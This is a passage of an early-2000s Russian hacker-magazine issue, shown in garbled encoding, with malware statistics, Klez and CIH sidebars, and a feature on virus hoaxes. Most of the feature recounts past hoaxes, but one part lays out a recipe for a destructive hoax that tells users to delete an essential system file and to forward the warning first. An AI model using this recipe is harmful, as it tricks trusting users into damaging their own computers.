íîñòüþ. ×åì ñëîæíåå îáúåêò, òåì
áîëüøóþ óãðîçó åãî ðàçìåð
ïðåäñòàâëÿåò äëÿ íåãî ñàìîãî.
×òîáû ýòîãî íå ïðîèçîøëî ñ èí-
òåðíåòîì, íóæíî ââîäèòü ïðàâèëà
èãðû. Ýòî åäèíñòâåííûé âûõîä.
Òàê ðàññóæäàåò Êàñïåðñêèé.
Îäíàêî, âñå ýòè äîâîäû ìîæíî îñïî-
ðèòü. Ñåé÷àñ ó êàæäîãî ãðàæäàíèíà
ÐÔ åñòü ïàñïîðò è, áîëåå òîãî, ïðî-
ïèñêà èëè ðåãèñòðàöèÿ. Íî ñíèæåíèÿ
ðîñòà ïðåñòóïíîñòè íåò è íå ïðåäâè-
äèòñÿ. Äîïîëíèòåëüíûå çàìîðî÷êè
âðîäå ìîñêîâñêîé ðåãèñòðàöèè, ÿâëÿ-
ÿñü ïî ñóòè àáñîëþòíî áåçïîëåçíû-
ìè, ïðåâðàòèëèñü â ñðåäñòâà ïîëó÷å-
íèÿ âçÿòîê ÷èíîâíèêàìè è ëåâûõ äî-
õîäîâ ìåëêèìè ìîøåííèêàìè. À íàñ
êàê âçðûâàëè - òàê è ïðîäîëæàþò
âçðûâàòü.
Òóò äåëî íå â çàêîíàõ, à â ñîñòîÿíèè
îáùåñòâà, â òîì, ÷òî ó íàñ â ãîëîâàõ
òâîðèòñÿ. Âåäü åñëè áû «áîëüøèí-
ñòâî» íå õîòåëî ñäåëîâàòü áóêâå çà-
êîíà - íèêòî áû èõ çàêîíû íå âûïîë-
íÿë (çà ïðèìåðàìè äîëãî õîäèòü íà
íàäî). Ïîýòîìó äóìàòü íàäî íå î òî-
òàëüíîé ñëåæêå è èäåíòèôèêàöèè
âñåõ ãðàæäàí è ïîëüçîâàòåëåé Ñåòè,
à î ïîâûøåíèè óðîâíÿ èõ êóëüòóðû,
îáðàçîâàíèÿ è íðàâñòâåíûõ öåííîñ-
òåé. Åñëè êàæäûé áóäåò äåéñòâîâàòü
ïî ïðèíöèïó "ïîñòóïàé ïî îäíîøå-
íèþ ê äðóãîìó òàê, êàê áû òû õîòåë,
÷òîáû îí ïîñòóïàë ïî îòíîøåíèþ ê
òåáå", ìû áóäåì æèòü â ìèðå è ñîã-
ëàñèè.
Áóäó ðàä îáñóäèòü ýòó òåìó â ôîðóìå
íà www.xakep.ru!                              A

Ñ íåäàâíåãî
âðåìåíè âè-
ðóñîïèñàòå-
ëè ñòàëè
èñïîëüçî-
âàòü ñïàì-
òåõíîëîãèè,
÷òîáû ïî-
âûñèòü ñêî-
ðîñòü ðàñï-
ðîñòðàíåíèÿ
âèðóñîâ â
ñîòíè è äà-
æå òûñÿ÷è
ðàç. Âåäü
îãðîìíàÿ
áàçà e-mail
àäðåñîâ -
ýòî òî, ÷åãî
òàê äîëãî
íå õâàòàëî
÷åðâÿì!

Òåïåðü ïîñ-
òàâèì ñëå-
äóþùèé
âîïðîñ. Ìî-
æåò ëè áåñ-
òåëåñíûé
÷åðâü ïîñ-
òàâèòü íà
êîëåíè âñþ
Ñåòü? Ìî-
æåò, íî
ëèøü òåî-
ðåòè÷åñêè.
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Äèíàìèêà ðàñïðîñòðàíåííîñòè òèïîâ âðåäîíîñíûõ ïðîãðàìì â

2002 ãîäó. Ïî äàííûì "Ëàáîðàòîðèè Êàñïåðñêîãî"

Äèíàìèêà ðàñïðîñòðàíåííîñòè âðåäîíîñíûõ ïðîãðàìì â 2002

ãîäó. Ïî äàííûì "Ëàáîðàòîðèè Êàñïåðñêîãî"

Òèïû âðåäîíîñíûõ ïðîãðàìì â 2002 ãîäó. Ïî äàííûì

"Ëàáîðàòîðèè Êàñïåðñêîãî"

×åì ñëîæíåå îáúåêò, òåì áîëüøóþ óãðîçó
åãî ðàçìåð ïðåäñòàâëÿåò äëÿ íåãî ñàìîãî.

×òîáû ýòîãî íå ïðîèçîøëî ñ èíòåðíåòîì,
íóæíî ââîäèòü ïðàâèëà èãðû. 

Òðîÿíñêèå
ïðîãðàììû

3,9% Âèðóñû
7,0%

Ñåòåâûå ÷åðâè
89,1%





"Çäðàâ-
ñòâóéòå, Âû
òîëüêî ÷òî
ïîëó÷èëè ïî
ïî÷òå èí-
òåðíåò-âè-
ðóñ "Òàëè-
áàí".

Àëåêñàíäð Àëåêñååâ aka Shen (_shen_@mail.ru), http://code.e-forums.ru 

Â èðóñû, âèðóñû... Äà ÷òî âû çàöèêëèëèñü íà ýòèõ âèðóñàõ (öèêë FOR)? ÓÊ ÐÔ ïîçàáûëè? Òàì, ãäå íàñ÷åò
"ðàñïðîñòðàíåíèÿ âðåäîíîñíûõ ïðîãðàìì"? Òî-òî æå. Íó, íå óíûâàé, åñòü âåäü åùå àëüòåðíàòèâíûå ìåòîäû, è

îäèí èç íèõ - âèðóñíûå ìèñòèôèêàöèè.

ÊÀÊ ÏÎÑÅßÒÜ 
ÏÀÍÈÊÓ Â ÈÍÒÅÐÍÅÒÅ
ÂÑÅ Î ÂÈÐÓÑÍÛÕ ÌÈÑÒÈÔÈÊÀÖÈßÕ

"Çäðàâñòâóéòå, Âû
òîëüêî ÷òî ïîëó÷èëè
ïî ïî÷òå èíòåðíåò-âè-
ðóñ "Òàëèáàí", íî òàê
êàê ìû â Àôãàíèñòàíå

íå ñèëüíî ïðîäâèíóòû â âûñîêèõ òåõ-
íîëîãèÿõ, âàì ñëåäóåò èñïîëíèòü ýòîò
âèðóñ âðó÷íóþ: 1) ïîæàëóéñòà, ðàçîø-
ëèòå âèðóñ âñåì ñâîèì çíàêîìûì è
äðóçüÿì; 2) óäàëèòå âñå ôàéëû èç
ïàïêè c:\windows".

Ñëûøàë òàêóþ øóòêó? Äàæå âèäåë â
ñâîåì ÿùèêå? À òû â êóðñå, ÷òî, èñ-
ïîëüçóÿ ïîõîæèé ïðèåì, ìîæíî óñò-
ðîèòü â Ñåòè òàêóþ ïàíèêó, ÷òî íå
ñíèëàñü äàæå èìåíèòûì âîçìóòèòå-
ëÿì ñïîêîéñòâèÿ, âðîäå Klez è
SirCam? Íå â êóðñå? Òîãäà ÷èòàé.

ÑÌÅÐÒÜ ÌÎÁÈËÀÌ!
"Åñëè âàì ïîçâîíèëè è íà äèñïëåå

âàøåãî ìîáèëüíîãî òåëåôîíà âûñâå-
÷èâàåòñÿ ÀÑÅ-?, íå îòâå÷àéòå íà ýòîò
çâîíîê, ñðàçó ïðåêðàòèòå. Åñëè âû îò-
âåòèòå íà çâîíîê, òî âàø òåëåôîí áó-
äåò çàðàæåí ýòèì âèðóñîì. Âèðóñ ñîò-
ðåò âñþ èíôîðìàöèþ IMEI è IMSI ñ âà-
øåãî òåëåôîíà è ñ âàøåé SIM-êàðòî÷-

êè, ÷òî ñäåëàåò âàø òåëåôîí íåñïî-
ñîáíûì ñâÿçûâàòüñÿ ñ òåëåôîííîé
ñåòüþ. Âàì ïðèäåòñÿ ïîêóïàòü íîâûé
òåëåôîí. Ýòó èíôîðìàöèþ ïîäòâåð-
äèëè ôèðìû Ìîòîðîëà è Íîêèà. Óæå 3
ìèëëèîíà ìîáèëüíûõ òåëåôîíîâ çà-
ðàæåíû ýòèì âèðóñîì â ÑØÀ. Ýòè ñâå-
äåíèÿ âû òàêæå ìîæåòå ïðîâåðèòü íà
ñàéòå ÑNN. Ïîæàëóéñòà, ñîîáùèòå ýòó
èíôîðìàöèþ âñåì äðóçüÿì".

Òàêîå ñîîáùåíèå ïîÿâèëîñü íà îä-
íîì èç ôîðóìîâ èíòåðíåòà â îêòÿáðå
2002. ×åðåç ÷àñ íà ýòîì ôîðóìå óæå
øëà æàðêàÿ äèñêóññèÿ î áîðüáå ñî
ñòðàøíûì âèðóñîì, à ÷åðåç íåñêîëü-
êî ñóòîê êàíàëû êðóïíåéøèõ e-mail
ïðîâàéäåðîâ áûëè ïåðåïîëíåíû ïî-
äîáíûìè ïèñüìàìè-ïðåäóïðåæäåíèÿ-
ìè - òûñÿ÷è ïîëüçîâàòåëåé Ñåòè òî-
ðîïèëèñü ïðåäîñòåðå÷ü äðóçåé è çíà-

êîìûõ îò îïàñíîñòè. Ñîîáùàëîñü, ÷òî
âèðóñ ìîæåò ïîïàñòü íà ìîáèëüíèê
íå òîëüêî ÷åðåç çâîíîê, íî è ÷åðåç
SMS-ñîîáùåíèå, ÷òî âèðóñ âûâîäèò
òåëåôîíû èç ñòðîÿ ìãíîâåííî è áåç-
âîçâðàòíî, à òàêæå ïðî÷àÿ ÷óøü. Ïî-
÷åìó ÿ ãîâîðþ "÷óøü"? À ïîòîìó, ÷òî
íå áûëî íèêàêîãî âèðóñà. Íó, íå áûëî
è âñå. Ãàçåò÷èêè íàçâàëè áû ñëó÷èâ-
øååñÿ óòêîé, íî ó íàñ, ëþäåé öèôðî-
âîãî âåêà, åñòü ñîáñòâåííîå íàçâàíèå
äëÿ ýòîãî - âèðóñíàÿ ìèñòèôèêàöèÿ.

Ñëó÷àé ñ âèðóñîì äëÿ ñîòîâûõ çàêîí-
÷èëñÿ äîâîëüíî áåçîáèäíî - àíòèâè-
ðóñíûå êîìïàíèè âìåñòå ñ ïðîèçâîäè-

òåëÿìè òåëåôîíîâ ðàñêðóòèëè íà äå-
òàëüêè ïàðó äåñÿòêîâ ìîáèëüíèêîâ :),
âî âñåì ðàçîáðàëèñü è âûâåñèëè íà
ñâîèõ ñàéòàõ îïðîâåðæåíèÿ â äóõå
"Âñå íèøòÿê, æèâèòå äàëüøå". Íî òà-
êîé ìèðíûé èñõîä ìèñòèôèêàöèè èìå-
þò íå âñåãäà.

SULFNBK.EXE - ÓÁÈÉÖÀ 
ÎÒ ÌÀÉÊÐÎÑÎÔÒ

Çíàåøü, ÷òî îáùåãî ìåæäó äðà-
êîé, ñõîäîì ëàâèíû è âèðóñíîé ìèñ-
òèôèêàöèåé? Âî-ïåðâûõ, âñå ýòî èí-
òåðåñíî íàáëþäàòü òîëüêî ñî ñòîðî-
íû. À âî-âòîðûõ, è òî, è äðóãîå, è
òðåòüå ìîæíî ñïðîâîöèðîâàòü íåîñ-
òîðîæíî ñêàçàííûì ñëîâîì.

×àùå âñåãî â îñíîâå ñëóõîâ, èç êîòî-
ðûõ âïîñëåäñòâèè âûðàñòàþò âèðóñ-
íûå ìèñòèôèêàöèè, ëåæàò âïîëíå

áëàãèå íàìåðåíèÿ. Íî òû âåäü ïîì-
íèøü, êóäà âåäåò âûìîùåííàÿ èìè
(íàìåðåíèÿìè) äîðîãà. Îäèí ó÷àñòëè-
âûé þçåð ïðåäóïðåäèë äðóãîãî, òîò -
ñâîèõ çíàêîìûõ, è ïîøëî-ïîåõàëî.
Èçâåñòíû è äðóãèå âàðèàíòû, êîãäà â
îñíîâå äåçèíôîðìàöèè äåéñòâèòåëü-
íî ëåæèò ðåàëüíûé âèðóñ. Òàêîâà,
íàïðèìåð, íàøóìåâøàÿ èñòîðèÿ ñ
ôàéëîì sulfnbk.exe. Åñëè ó òåáÿ
Win9x, çàãëÿíè â êàòàëîã
%windir%\command, è òû íàéäåøü
òàì ýòîò ôàéë. ×åëîâåêà, ïóñòèâøåãî
ñëóõ â Ñåòü, íàñòîðîæèëè òðè âåùè:
sulfnbk.exe àíòèâèðóñ îïðåäåëÿë êàê
çàðàæåííûé, ôàéë èìåë ñòðàííûå
èêîíêó (ïîñìîòðè ñàì) è íàçâàíèå (ÿ
òîæå êàê-òî íå äîâåðÿþ ôàéëàì, òè-
ïà ds7afw2q.exe). Âïîñëåäñòâèè âû-
ÿñíèëîñü, ÷òî ýòîò ôàéë âñåãî-íàâñå-
ãî ñòàíäàðòíàÿ óòèëèòà Âèíäîâñ, à
èìÿ ðàñøèôðîâûâàåòñÿ êàê System
Utility for Long FileName Backup (ñèñ-
òåìíàÿ óòèëèòà äëÿ ðåçåðâíîãî êîïè-

»
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Âñå, ìîæíî âûêèäûâàòü :)

"Ëþäè ãëó-
ïû, èõ ìîæ-
íî çàñòà-
âèòü ïîâå-
ðèòü ëþáîé
ëæè ëèáî
ïîòîìó, ÷òî
îíè õîòÿò â
íåå âåðèòü,
ëèáî ïîòî-
ìó, ÷òî áî-
ÿòñÿ, ÷òî
îíà îêàæåò-
ñÿ ïðàâ-
äîé".

Îäèí ó÷àñòëèâûé þçåð ïðåäóïðåäèë
äðóãîãî, òîò - ñâîèõ çíàêîìûõ, 

è ïîøëî-ïîåõàëî. 

Âïîñëåäñòâèè âûÿñíèëîñü, 
÷òî ýòîò ôàéë âñåãî-íàâñåãî 
ñòàíäàðòíàÿ óòèëèòà Âèíäîâñ



ðîâàíèÿ ôàëîâ ñ äëèííûìè èìåíà-
ìè). Ïðîñòî ýòîò ôàéë íà êîìïüþòå-
ðå èíèöèàòîðà ñóìàòîõè äåéñòâè-
òåëüíî áûë çàðàæåí âèðóñîì, à âåð-
íåå, ÷åðâåì ïîä íàçâàíèåì Magistr -
îäíèì èç ñàìûõ ðàñïðîñòðàíåííûõ è
îïàñíûõ â òî âðåìÿ. Ïîõîæàÿ èñòîðèÿ
ïðîèçîøëà òàêæå ñ "âèðóñîì" jdbgm-
gr.exe, êîòîðûé äîáðîæåëàòåëè ñîâå-
òîâàëè óäàëèòü êàê ìîæíî ñêîðåå, è
êîòîðûé îêàçàëñÿ áåçîáèäíîé ÷àñòüþ

ïàêåòà Visual J++. È ñíîâà ýêçåìïëÿð
jdbgmgr.exe íà êîìïüþòåðå, êîòîðûé
ïåðâûì ïîäíÿë òðåâîãó, áûë íà ñàìîì
äåëå çàðàæåí âèðóñîì. Êñòàòè, ÷åðåç
íåêîòîðîå âðåìÿ ïîñëå ïåðâîãî ïîÿâ-
ëåíèÿ ëîæíûõ ñîîáùåíèé î âèðóñå
jdbgmgr.exe, â Ñåòè äåéñòâèòåëüíî ïî-
ÿâèëñÿ ÷åðâü ñ òàêèì íàçâàíèåì (òàê-
æå èçâåñòíûé êàê Recory).

ÊÀÊ ÂÑÅ ÍÀ×ÈÍÀËÎÑÜ
Âèðóñíûå ìèñòèôèêàöèè êàê ÿâ-

ëåíèå áûëè îòìå÷åíû åùå â êîíöå
80-õ, íî òîãäà ïîäîáíûå ïðîâîêàöèè
íå ïðåäñòàâëÿëè îñîáîé óãðîçû è íå
ðàñïðîñòðàíÿëèñü ñ ñåãîäíÿøíåé

ñêîðîñòüþ. Ïðè÷èí òîìó áûëî äâå: îò-
ñóòñòâèå îáùåäîñòóïíûõ ãëîáàëüíûõ
ñåòåé è òî, ÷òî ëþäè, ñèäåâøèå çà òå-
ìè íåìíîãèìè òåðìèíàëàìè, ÷òî âñå-
òàêè áûëè ïîäêëþ÷åíû ê ñåòè, èìåëè
óðîâåíü òåõíè÷åñêîé ïîäãîòîâêè, çà-
ìåòíî ïðåâûøàþùèé óðîâåíü ñðåä-
íåñòàòèñòè÷åñêîãî ïîëüçîâàòåëÿ
äíåé íûíåøíèõ. Ñ ïðèõîäîì ìàññî-
âûõ ñåðâèñîâ, âðîäå America Online,
ñèòóàöèÿ ðåçêî èçìåíèëàñü, è â 1994

ãîäó ñðåäè ïîëüçîâàòåëåé AOL ïîÿ-
âèëñÿ ñëóõ î âèðóñå Good Times, êî-
òîðûé, "ïî ñâåäåíèÿì èç äîñòîâåð-
íûõ èñòî÷íèêîâ", áåçâîçâðàòíî óíè÷-
òîæàë âñþ èíôîðìàöèþ, õðàíÿùóþ-
ñÿ íà êîìïüþòåðå. Äëÿ òîãî ÷òîáû
ñòàòü æåðòâîé âèðóñà, äîñòàòî÷íî
áûëî ïðî÷èòàòü ïèñüìî ñî ñëîâàìè
Good Times â çàãîëîâêå. Ñòîèò ëè ãî-
âîðèòü, ÷òî íèêàêîãî âèðóñà íå áûëî
è â ïîìèíå? Íàäî îòìåòèòü, ÷òî
âêëàä, âíåñåííûé ïîëüçîâàòåëÿìè
AOL â ðàçâèòèå ìíîãèõ ìèñòèôèêà-
öèé, òðóäíî ïåðåîöåíèòü :). Âïîñëåä-
ñòâèè ïîïûòêè âûçâàòü â Ñåòè êðóï-
íóþ ïàíèêó, èñïîëüçóÿ âèðóñíûå
ìèñòèôèêàöèè, ïðåäïðèíèìàëèñü
ìíîãî ðàç, íî äàëåêî íå âñå èç íèõ
îêàí÷èâàëèñü óñïåõîì. È ïî ñåé äåíü
ðåäêèé ìåñÿö ïðîõîäèò áåç ñîîáùå-
íèé î "ñàìîì îïàñíîì âèðóñå â èñòî-
ðèè, êîòîðûé ìîæåò óíè÷òîæèòü âàø
êîìïüþòåð â ñ÷èòàííûå ñåêóíäû".
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Êîãäà â 1988 ãîäó ïîÿâèëèñü ñîîáùåíèÿ î âèðóñå Good Times,
íåáåçûçâåñòíûé Ðîáåðò Ìîððèñ III ñîçäàë ñëåäóþùåå ðóêîâîäñòâî
ïî áîðüáå ñ âèðóñîì:
1) Íå èñïîëüçóéòå ýëåêòðè÷åñêóþ ñåòü!
2) Íå èñïîëüçóéòå áàòàðåéêè è àêêóìóëÿòîðû - åñòü ñâåäåíèÿ, ÷òî
âèðóñîì çàõâà÷åíî áîëüøèíñòâî ôàáðèê ïî èõ ïðîèçâîäñòâó, è âè-
ðóñ çàðàæàåò ïîëîæèòåëüíûé ïîëþñ áàòàðåé è àêêóìóëÿòîðîâ (âû
ìîæåòå ïîïðîáîâàòü ïðèñîåäèíÿòü òîëüêî "-").
3) Íå ñêà÷èâàéòå è íå çàêà÷èâàéòå ôàéëû.
4) Íå õðàíèòå ôàéëû íà æåñòêîì äèñêå èëè äèñêåòàõ.
5) Íå ÷èòàéòå ïî÷òîâûå ñîîáùåíèÿ. Äàæå ýòî!
6) Íå èñïîëüçóéòå ïîñëåäîâàòåëüíûå ïîðòû, ìîäåìû è òåëåôîí-
íûå ëèíèè.
7) Íå ïîëüçóéòåñü êëàâèàòóðîé, ìîíèòîðîì èëè ïðèíòåðîì.
8) Íå èñïîëüçóéòå ïðîöåññîð è ïàìÿòü!
9) Íå ïîëüçóéòåñü ýëåêòðè÷åñêèì ñâåòîì, ýëåêòðè÷åñêèìè èëè ãà-
çîâûìè îáîãðåâàòåëÿìè. Íå âêëþ÷àéòå êîíäèöèîíåð. Îïàñàéòåñü
âîäû è îãíÿ!
ß óâåðåí, ÷òî åñëè âñå ìû áóäåì ñëåäîâàòü ýòèì 9 ïðîñòûì
èíñòðóêöèÿì, âèðóñ áóäåò óíè÷òîæåí, è ýëåêòðîííûå ôëþèäû íà-
øèõ êîìïüþòåðîâ âíîâü ñòàíóò ÷èñòûìè.

ÀÍÒÈÂÈÐÓÑÍÛÉ ÌÀÍÓÀË ÎÒ ÐÎÁÅÐÒÀ ÌÎÐÐÈÑÀ

ÑÀÌÛÉ ÏÎÏÓËßÐÍÛÉ

Êîíå÷íî æå, â ýòîé êàòåãî-
ðèè ëèäèðóåò I-Worm.Klez.
Ýòîò ÷åðâÿ÷îê òóñóåòñÿ â Ñåòè
óæå äîâîëüíî äàâíî, ðåãóëÿð-
íî ïîñåùàÿ è ìîé ìûëüíèê.
Âèäèìî, ïîïóëÿðíîñòü îáîø-
ëàñü åìó äîðîãî, ïîñêîëüêó
íåêîòîðûå èçäàíèÿ íà÷àëè íà-
çûâàòü åãî è "ñàìûì äåñòðóê-
òèâíûì". Äåéñòâèòåëüíî, ïî 13
÷èñëàì ÷åòíûõ ìåñÿöåâ îí
ëþáèò ïîðòèòü âñå íàéäåííûå
ôàéëû, çàïèñûâàÿ â íèõ ñëó-
÷àéíîå ñîäåðæèìîå, íî ðàçâå
ýòî äåñòðóêöèÿ? Ýòî îíè åùå
äåñòðóêöèè íå âèäåëè :). Ïðàâ-
äà, ñóììàðíûé óùåðá îò ýòîãî
âèðóñà ñîñòàâèë 9 ìëðä. äîë-
ëàðîâ. Âèäèìî, ýòî ñâÿçàíî ñ
òåì, ÷òî äëÿ ðàñïðîñòðàíå-
íèÿ îí èñïîëüçóåò äûðó â
IFrame (çàïóñêàÿñü ïðè
ïðîñìîòðå ñîîáùåíèÿ), à
êàæäàÿ îòîñëàííàÿ êîïèÿ
âèðóñà ñîäåðæèò âñå ýëåêò-
ðîííûå àäðåñà, ñòûðåííûå ñ
ïðåäûäóùåé ìàøèíû.

ÑÀÌÛÉ ÄÅÑÒÐÓÊÒÈÂÍÛÉ

Îäíîçíà÷íî ýòî - Win.CIH,
ïðîçâàííûé òàêæå ÷åðíîáû-
ëåì. Òâîðåíèå îáðàçöà 98 ãî-
äà æèâåò äî ñèõ ïîð, èñïðàâ-
íî çàðàæàÿ ëþáèòåëåé èãðî-
âîãî âàðåçà. Äåëî â òîì, ÷òî â
Ðîññèè ýòîò âèðü ïîÿâèëñÿ â
âèäå çàðàæåííîé êîïèè
Dune2000 è íåêîòîðûõ äðó-
ãèõ èãð. Âèðóñ (äëèíîé 1Êá)
çàðàæàåò PE ôàéëû, ïåðåõâà-
òûâàÿ îáðàùåíèÿ ê íèì ïðè
îòêðûòèè. Ñàìûì äåñòðóêòèâ-
íûì åãî ìîæíî îáîçâàòü ïî-
òîìó, ÷òî 26 àïðåëÿ îí ñ óäî-
âîëüñòâèåì ÷èñòèë äèñêè
ïîëüçîâàòåëåé è ïîðòèë flash-
áèîñ íà íåêîòîðûõ ïëàòàõ
(îñîáåííî íà êîòîðûõ çàïèñü
áûëà ðàçðåøåíà ïî óìîë÷à-
íèþ). Ïîëìèëëèîíà ëþäåé ïî
âñåìó ìèðó âûêèíóëè ñâîè
ìàìêè íà ïîìîéêó èìåííî èç-
çà ×èõà, êîòîðûé òàê è îñòàë-
ñÿ åäèíñòâåííûì âèðóñîì, ðå-
àëüíî ïîðòÿùèì æåëåçî.

Ëîçîâñêèé Àëåêñàíäð 
(alexander@real.xakep.ru)
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Òåïåðü ìîæíî ñïàòü ñïîêîéíî

Äëÿ òîãî ÷òîáû ñòàòü æåðòâîé âèðóñà, äîñòà-
òî÷íî áûëî ïðî÷èòàòü ïèñüìî ñî ñëîâàìè

Good Times â çàãîëîâêå. Ñòîèò ëè ãîâîðèòü,
÷òî íèêàêîãî âèðóñà íå áûëî è â ïîìèíå?

CÀÌÛÅ-ÑÀÌÛÅ ÂÈÐÓÑÛ



Âñåãäà âåäü
óäîáíåå äó-
ìàòü, ÷òî
êîìïüþòåð
íå ðàáîòàåò
íå èç-çà
ñîáñòâåí-
íûõ êðèâûõ
ðóê, à èç-çà
"òàèíñòâåí-
íîãî âèðóñà,
íàïèñàííîãî
íà ÿçûêå
Àññåìáëåðà
äëÿ IBM
PC".

ÊÎÃÄÀ ÑËÎÂÎ - ÎÐÓÆÈÅ
Áûâàþò òàêæå è ñëó÷àè, êîãäà

ìèñòèôèêàöèÿ ñîçäàåòñÿ, ÷òî íàçûâà-
åòñÿ â çäðàâîì óìå è òðåçâîé ïàìÿòè,
ïðåñëåäóÿ âïîëíå êîíêðåòíûå öåëè.
Òû ñïðîñèøü, çà÷åì? Âåäü òîëêó îò
òàêîé äåçû íèêàêîãî, âðåäà òîæå ìà-
ëî, ýòî æ íå âèðóñû, ãäå è ìíîãîìèë-
ëèîííûå óáûòêè, è âûâåäåííûå èç
ñòðîÿ êîìïüþòåðû. Íî äàâàé-êà ïðèñ-
ìîòðèìñÿ ê ýòîìó "ÿâëåíèþ" ïîâíèìà-
òåëüíåé. Èíòåðíåò, íàõîäÿùèéñÿ âî
âëàñòè î÷åðåäíîé âèðóñíîé ìèñòèôè-
êàöèè, ìíå áîëüøå âñåãî íàïîìèíàåò
ìóðàâåéíèê, â êîòîðûé âîòêíóëè ëî-
ïàòó: óñåðäíûå þçåðû ñïåøàò ïðåäóï-
ðåäèòü äðóã äðóãà îá îïàñíîñòè, îáìå-
íèâàþòñÿ ìåòîäàìè áîðüáû ñ âèðó-
ñîì, ãîðîäñêàÿ ÀÒÑ ïåðåãðóæåíà
çâîíêàìè â ñëóæáû ïîääåðæêè, à àä-
ìèíû ïî÷òîâûõ ñåðâåðîâ òèõîíüêî
îôèãåâàþò, ãëÿäÿ íà ðàçìåð òðàôèêà.
À òåïåðü ïîäóìàé, êàêîå âëèÿíèå ìî-
æåò îêàçàòü ñîîáùåíèå î âèðóñå, êî-
òîðûé âûâîäèò èç ñòðîÿ ìîáèëüíèêè
ôèðìû Íîêèà, íà ðåïóòàöèþ ýòîé ñà-
ìîé Íîêèè. È òîãäà òû ïîéìåøü, ïî÷å-
ìó äëÿ ýòîé ïàêîñòè ïðèäóìàëè êðàñè-
âîå íàçâàíèå "âèðóñíàÿ ìèñòèôèêà-
öèÿ", ïî÷åìó íè îäèí ó÷åáíûé êóðñ ïî
çàùèòå èíôîðìàöèè íå îáõîäèòñÿ

áåç ýòîé òåìû è ïî÷åìó êàæäàÿ êðóï-
íàÿ àíòèâèðóñíàÿ êîìïàíèÿ òùàòåëü-
íî ñëåäèò çà ïîÿâëåíèåì ïîäîáíûõ
"ïðåäóïðåæäåíèé" è ïðèêëàäûâàåò
âñå ñèëû, ÷òîáû ïðåñå÷ü ðàñïðîñòðà-
íåíèå ñëóõà äî òîãî, êàê îí íàáåðåò
îáîðîòû. Íî ýòèì äåñòðóêòèâíûé õà-
ðàêòåð ìèñòèôèêàöèé íå èñ÷åðïûâà-
åòñÿ: åñòü åùå, êàê ìèíèìóì, äâà ñïî-
ñîáà ïðåâðàòèòü áåçîáèäíóþ, êàçà-
ëîñü áû, øóòêó â ñåðüåçíóþ óãðîçó.

ÏÅÐÂÎÅ ÏÐÀÂÈËÎ 
ÂÎËØÅÁÍÈÊÀ

Èòàê, ñïîñîá íîìåð îäèí, ñàìûé
ðàñïðîñòðàíåííûé. Âûáèðàåòñÿ ôàéë,
áåç êîòîðîãî íîðìàëüíàÿ ðàáîòà ñèñ-
òåìû íåâîçìîæíà èëè çàòðóäíåíà, è
ðàññûëàåòñÿ ïèñüìî âèäà: "Achtung!"
Ïî ñîîáùåíèÿì ñàéòîâ
www.microsoft.com è www.virusi.new-
mail.ru, èíòåðíåò çàõëåñòíóëà ýïèäå-
ìèÿ íîâîé ìîäèôèêàöèè âèðóñà
WIN95.CIH, êîòîðàÿ íå îïðåäåëÿåòñÿ
àíòèâèðóñíûìè ïðîãðàììàìè! Åñëè íà
âàøåì êîìïüþòåðå â ïàïêå c:\win-
dows\ åñòü ôàéë taskmgr.exe - âû
ÓÆÅ ñòàëè æåðòâîé ýïèäåìèè! Åäèí-
ñòâåííûé ñïîñîá èçáàâèòñÿ îò âèðóñà
- óäàëèòü åãî âðó÷íóþ. Äëÿ ýòîãî âû-
ïîëíèòå ñëåäóþùèå øàãè: íàéäèòå
óêàçàííûé ôàéë íà âàøåì êîìïüþòå-
ðå (Ïóñê->Íàéòè) è óäàëèòå åãî, óäåð-
æèâàÿ êëàâèøó Shift (â ÎÑ Windows).
Íå çàáóäüòå ïðåäóïðåäèòü ñâîèõ çíà-

êîìûõ è äðóçåé!" Âñå, ïðîöåññ ïîøåë.
Äîâåð÷èâûå þçåðû, äâàæäû ïåðå÷è-
òàâ ïèñüìî, ÷òîáû íè÷åãî íå óïóñòèòü,
íà÷íóò ñ óìíûì âèäîì óäàëÿòü ôàéëû
òèïà kernel32.dll, âîò òîëüêî ðàçîñëàòü
ïðåäóïðåæäåíèÿ îíè óæå íèêîìó íå
ñìîãóò, ïîýòîìó ýôôåêòèâíåå ïðî-
ñèòü ñíà÷àëà ðàçîñëàòü ïðåäóïðåæäå-
íèÿ, à ïîòîì óæå "èçáàâëÿòüñÿ îò âè-
ðóñà". Ñàìîå ñìåøíîå, ÷òî ëþäè, ñòàâ-
øèå æåðòâîé ñîáñòâåííîãî ëåãêîâå-
ðèÿ, îïèñûâàþò ïðîèñøåäøåå ïðè-
ìåðíî òàê: "Âñå ñäåëàë òàê, êàê áûëî
íàïèñàíî, íî, âèäàòü, ïîçäíî - âèðóñ
óæå óñïåë êîìïüþòåð èñïîðòèòü". È
ïðîöåññ ïðîäîëæàåòñÿ - "æåðòâû âè-
ðóñà" äåìîíñòðèðóþò âñåì æåëàþùèì
÷åðíûå ýêðàíû ìîíèòîðîâ ñ íàäïèñüþ
"Boot Sector Failed", ñâèäåòåëè â óæà-
ñå ñïåøàò äîìîé óäàëÿòü çëîâðåäíûå
ôàéëû. À îñîáî áäèòåëüíûå ãðàæäà-
íå ñ÷èòàþò ñâîèì äîëãîì ïðèñëàòü
ôàéëû ñ "âèðóñîì" òîâ. Êàñïåðñêîìó
è ïðî÷åé àíòèâèðóñíîé áðàòèè. Âåñå-
ëî, íàâåðíîå, ïîëó÷àòü â äåíü òûñÿ÷
äåñÿòü config.sys'îâ.

Òû óäèâëÿåøüñÿ, ïî÷åìó òàê ìíîãî
ëþäåé âåäóòñÿ íà ýòî? Åñòü õîðîøàÿ
êíèãà - "Ïåðâîå ïðàâèëî âîëøåáíèêà"
(Ò. Ãóäêàéíä). Çíàåøü, â ÷åì ýòî ïðà-
âèëî çàêëþ÷àåòñÿ? "Ëþäè ãëóïû, èõ
ìîæíî çàñòàâèòü ïîâåðèòü ëþáîé
ëæè ëèáî ïîòîìó, ÷òî îíè õîòÿò â íåå
âåðèòü, ëèáî ïîòîìó, ÷òî áîÿòñÿ, ÷òî

îíà îêàæåòñÿ ïðàâäîé". Âîò ýòèì-òî
ïðèíöèïîì è ïîëüçóþòñÿ íà ïîëíóþ
êàòóøêó íåêîòîðûå ëè÷íîñòè, â óãî-
ëîâíîì êîäåêñå ÐÔ èìåíóåìûå çëîó-
ìûøëåííèêàìè. Ïðè÷åì ñíà÷àëà ðà-
áîòàåò âòîðàÿ ÷àñòü: þçåð áîèòñÿ, ÷òî
ýòî ìîæåò îêàçàòüñÿ ïðàâäîé, è ÷òî,
ïðîïóñòèâ ìèìî óøåé ïðåäóïðåæäå-
íèå, îí îáðå÷åò ñåáÿ íà ìåäëåííóþ è
